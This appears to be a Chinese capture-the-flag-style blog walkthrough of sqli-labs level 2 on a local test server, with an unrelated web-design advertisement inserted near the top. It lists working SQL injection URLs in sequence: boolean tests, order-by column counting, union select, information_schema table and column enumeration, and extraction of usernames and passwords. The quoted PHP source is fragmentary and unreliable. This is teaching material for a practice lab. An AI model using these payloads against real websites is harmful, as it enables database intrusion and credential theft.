重慶分公司,新征程啟航
為企業(yè)提供網(wǎng)站建設(shè)、域名注冊、服務(wù)器等服務(wù)
為企業(yè)提供網(wǎng)站建設(shè)、域名注冊、服務(wù)器等服務(wù)
接上篇博客:https://blog.51cto.com/tdcqvip/2060816
成都創(chuàng)新互聯(lián)公司:從2013年成立為各行業(yè)開拓出企業(yè)自己的“網(wǎng)站建設(shè)”服務(wù),為近1000家公司企業(yè)提供了專業(yè)的成都做網(wǎng)站、成都網(wǎng)站建設(shè)、成都外貿(mào)網(wǎng)站建設(shè)、網(wǎng)頁設(shè)計和網(wǎng)站推廣服務(wù), 按需定制由設(shè)計師親自精心設(shè)計,設(shè)計的效果完全按照客戶的要求,并適當(dāng)?shù)奶岢龊侠淼慕ㄗh,擁有的視覺效果,策劃師分析客戶的同行競爭對手,根據(jù)客戶的實際情況給出合理的網(wǎng)站構(gòu)架,制作客戶同行業(yè)具有領(lǐng)先地位的。
來到第二關(guān):
http://127.0.0.1/sqli-labs-master/Less-2/
訪問http://127.0.0.1/sqli-labs-master/Less-2/?id=1
判斷是否有注入點:
and 1 = 1 返回正常
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1 = 1 %23
and 1 = 2 返回失敗
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1 = 2 %23
說明存在注入點:
order by n 查看字段
當(dāng)n=3時返回正確
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3 %23
當(dāng)=4時返回錯誤
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4 %23
說明字段是3
用union select 進行聯(lián)合查詢:
并用報錯的方式顯示顯示位:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,3 %23
通過上圖可以看到顯示位在2,3上。
用version()和database()查看php版本和當(dāng)前網(wǎng)站用的數(shù)據(jù)庫名字
我們通過上圖可以看到數(shù)據(jù)庫是“security” 版本是5.5.53
接下來我們查看數(shù)據(jù)庫security下的表:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23
通過上圖可以看到有users表
查看users表里的列
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1, group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23
接下來就是查看username和password里的內(nèi)容:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,username,password from users where id = 2 %23
結(jié)束:
聲明:源代碼被我改動了,所以在注入的時候才會顯示出來查詢語句
接下來看看源代碼:
Less-2 **Error Based- Intiger** Welcome Dhakkan
"; if($row) { echo ""; echo 'Your Login name:'. $row['username']; echo "
"; echo 'Your Password:' .$row['password']; echo ""; } else { echo ''; print_r(mysql_error()); echo ""; } } else { echo "Please input the ID as parameter with numeric value"; } ?>
通過源代碼我們可以看到,在連接數(shù)據(jù)庫查詢的時候并沒有進行任何過濾
與第一關(guān)不同的地方就是
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
這句,沒有“''”符號。
利用方式大致相同。
第三關(guān)盡快更新
微信公眾號: